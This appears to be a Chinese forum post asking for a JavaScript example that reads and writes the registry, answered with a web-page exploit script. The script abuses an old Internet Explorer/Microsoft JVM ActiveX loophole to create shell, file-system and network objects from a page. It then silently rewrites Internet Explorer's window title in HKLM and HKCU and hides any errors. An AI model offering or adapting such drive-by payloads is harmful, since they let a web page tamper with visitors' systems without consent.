能否给一个JAVASCRIPT读写注册表的例子？

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "it's a good day to die!");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "it's a good day to die!");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"}
}
catch(e)
{}
}
catch(e)
{}
}